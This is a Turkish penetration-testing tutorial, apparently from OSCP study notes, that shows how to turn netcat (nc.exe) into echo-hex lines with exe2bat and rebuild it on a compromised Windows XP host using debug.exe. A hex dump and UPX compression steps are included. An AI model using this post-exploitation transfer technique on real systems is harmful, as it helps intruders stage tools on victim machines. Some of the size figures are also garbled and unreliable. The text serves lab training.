Debug.exe ile Windows Sistemlere Dosya İndirme

Windows sistemlere dosya transfer methodlarından bir diğeri olan debug.exe methodu 32 bit Windows sistemlere karşı kullanılmaktadır. Debug.exe'nin yaptığı şey sızılan sistemin komut satırına echo ile girilen hex değerlerinin bir dosyada toplanması sonrası dosyayı assembly edip binary yapmaktır. Kısaca Debug.exe assembler, dissassembler ve hex dumping görevlerini yerine getirebilen bir programdır.

Uygulama

(+) Birebir denenmiştir ancak başarıyla uygulanamamıştır.

Bu başlıkta Kali (Eski) den Windows XP (Dandik)'e zararlı yazılım transferi örneği gösterilecektir.

Gereksinimler

- Kali (Eski) // 1.0.4
- Windows Xp (Dandik)

Öncelikle Kali (Eski) masaüstüne exe2bat.exe dosyasını taşıyalım.

Kali (Eski) Konsol:

```
> cd /var/www
> cp /usr/share/windows-binaries/exe2bat.exe .
```

exe2bat.exe'yi kullanabilmek için wine'ın 32 bit versiyonu lazımdır. Bunedenle aşağıdaki kodlamalar ile Kali (Eski)'ye wine'ın 32 bit'i kurulur.

Kali (Eski) Konsol:

```
> dpkg –add-architecture i386
> apt-get update
> apt-get install wine-bin:i386
```

Daha sonra belirli bir dizine exe2bat.exe ve windows'a indirilecek dosya yerleştirilir.

Kali (Eski) Konsol:

```
> cd /root/Desktop
> cp /usr/share/windows-binaries/exe2bat.exe .
> cp /usr/share/windows-binaries/nc.exe .
```

Ardından aşağıdaki kodlama ile nc.exe dosyası nc.txt dosyasına dönüştürülür.

Kali (Eski) Konsol:

> wine exe2bat.exe nc.exe nc.txt

Output:
Finished: nc.exe > nc.txt

Böylelikle nc.exe binary dosyası hex formatında nc.txt dosyasına yazılmıştır.

nc.txt:

```
echo n 1.dll >123.hex
echo e 0100 >>123.hex
echo 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00
00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba
0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d
20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d
6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00  >>123.hex
echo e 0180 >>123.hex
echo 50 45 00 00 4c 01 04 00 b9 8e ae 34 00 00 00 00 00 00 00 00 e0
00 0f 01 0b 01 05 00 00 98 00 00 00 62 00 00 00 00 00 00 00 4c 00 00
00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00
00 00 00 00 00 04 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 00 00
00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00
00 00 00 10 00 00 00 00 00 00 00 00 00 00 00  >>123.hex
echo e 0200 >>123.hex
echo 00 20 01 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 21
01 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00  >>123.hex
echo e 0280 >>123.hex
echo 70 97 00 00 00 10 00 00 00 98 00 00 00 04 00 00 00 00 00 00 00
00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 17 04 00 00
00 b0 00 00 00 06 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00
00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 c0 00 00 00 3e
00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e
69 64 61 74 61 00 00 5c 07 00 00 00 20 01 00  >>123.hex
echo e 0300 >>123.hex
```

Bundan sonra yapılacak işlem sızılan windows sisteminin komut satırına Kali (Eski) deki nc.txt dosyasında yer alan echo satırlarını sırasıyla girmektir. Örneğin;

Windows Xp (Dandik) :

> echo n 1.dll >123.hex
> echo e 0100 >>123.hex

…

> echo 70 97 00 00 00 10 00 00 00 98 00 00 00 04 00 00 00 00 00 00 00
00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 17 04 00 00
00 b0 00 00 00 06 00 00 00 9c 00 00 00 00 00 00 00 00 00 00 00 00 00
00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 c0 00 00 00 3e
00 00 00 a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e
69 64 61 74 61 00 00 5c 07 00 00 00 20 01 00 >>123.hex
> echo e 0300 >>123.hex

Bu şekilde sızılan Windows XP (Dandik) sisteminde 123.hex dosyası oluşturulmuş olacaktır. Bu işlem sonrası Windows Xp (Dandik) komut satırına

Windows Xp (Dandik) :

> debug < 123.hex
> copy 1.dll nc.exe

girilerek hex dosyası binary hale dönüştürülür. Böylelikle sızılan sistemde exploit'imiz hazır duruma gelmiş olur.

Not: nc.exe'nin debug ile oluşturulamamasının nedeni muhtemelen nc.txt dosyasının boyutuyla ilgili. Debug.exe programı maksimum 64 kb veriyi işleyebiliyormuş. nc.txt dosyası ise 97076 kb.

Ekstra

(+) Birebir denenmiştir ve başarıyla uygulanmıştır.

Debug.exe ile maksimum 64 kb assembly edilebildiği için exploit'ler sıkıştırılarak transfer edilebilir. Bunun için Kali (Eski)'deki exploit'imiz hex'e dönüşmeden önce upx tool'u ile sıkıştırılmalıdır.

nc.exe'nin ilk hali şu boyuttadır:

Kali (Eski) Konsol:

> ls -l nc.exe

Output:

-rwxr-xr-x 1 root root **59392** Jan 28 16:25 nc.exe

nc.exe upx ile sıkıştırıldığında ise boyutu şu şekilde olacaktır:

Kali (Eski) Konsol:

> upx -9 nc.exe

Output:

```
                Ultimate Packer for eXecutables
                   Copyright (C) 1996 - 2011

                 File size               Ratio      Format      Name
                 --------------------   ------   -----------  -----------
                 59392    ->    29184    49.14%    win32/pe     nc.exe

                 Packed 1 file.
```

Görüldüğü üzere nc.exe dosyasının boyutu 59392 kb'den 29184 kb'a inmiştir.

> ls -l nc.exe

Output:

-rwxr-xr-x 1 root root **29184** Jan 28 16:25 nc.exe

Not: Sıkıştırılmış nc.exe nc.txt'e dönüştürüldüğünde 64 KB'dan fazla bir boyutta dosya oluşmaktadır.

Yararlanılan Kaynaklar

https://www.cheatography.com/fred/cheat-sheets/file-transfers/

Penetration Testing With Kali Linux.pdf, Yaz Tatili 2014 / Tubitak / OSCP / Resmi Belgeler / , syf. 202

http://thestarman.pcministry.com/asm/debug/debug.htm